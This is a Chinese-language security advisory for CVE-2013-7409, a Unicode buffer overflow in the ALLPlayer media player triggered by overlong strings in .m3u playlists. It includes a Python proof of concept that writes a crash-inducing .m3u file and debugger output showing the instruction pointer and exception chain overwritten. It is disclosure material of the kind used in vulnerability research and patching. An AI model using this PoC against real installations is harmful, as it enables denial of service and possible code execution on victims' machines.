发布日期:2014-10-30
更新日期:2014-11-04
受影响系统:
ALLPlayer ALLPlayer 5.6.2-5.8.1
描述:
CVE(CAN) ID: CVE-2013-7409
ALLPlayer是媒体播放软件。
ALLPlayer 5.6.2-5.8.1版本在实现上存在缓冲区溢出漏洞,远程攻击者通过.m3u文件内的较长字符串,利用此漏洞可造成拒绝服务和执行任意代码。
<*来源:metacom
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
metacom ()提供了如下测试方法:
Title: ALLPlayer Local Buffer Overflow PoC UNICODE
Vendor:
Date found: 09.10.2013
Date published: 09.10.2013
Platform: windows 7 German
Bug: Buffer Overflow UNICODE
----------------------------
1)VERSIONS AFFECTED
----
ALLPlayer 5.6.2
2)Proof of Concept
------------------
junk = "http://"
buffer="\x41" * 5000
exploit = junk + buffer
try:
out_file = open("ALLPlayer_Poc.m3u",'w')
out_file.write(exploit)
out_file.close()
print "Exploit file created!"
except:
print "Error"
3)-(DEBUG)
----------
(1e60.1dec): Access violation - code c0000005 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files\ALLPlayer\ALLPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ALLPlayer\ALLPlayer.exe
eax=00000000 ebx=00000000 ecx=00410041 edx=770d720d esi=00000000 edi=00000000
eip=00410041 esp=000311c4 ebp=000311e4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
ALLPlayer+0x10041:
00410041 008bc0ff2504 add byte ptr [ebx+425FFC0h],cl ds:0023:0425ffc0=??
0:000> !exchain
---------------
0012e4b0: ALLPlayer+1b7037 (005b7037)
0012e734: ALLPlayer+10041 (00410041)
Invalid exception stack at 00410041
4)Credits
---------
metacom
Contact : metacom27 at gmail.com
建议:
厂商补丁:
ALLPlayer
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: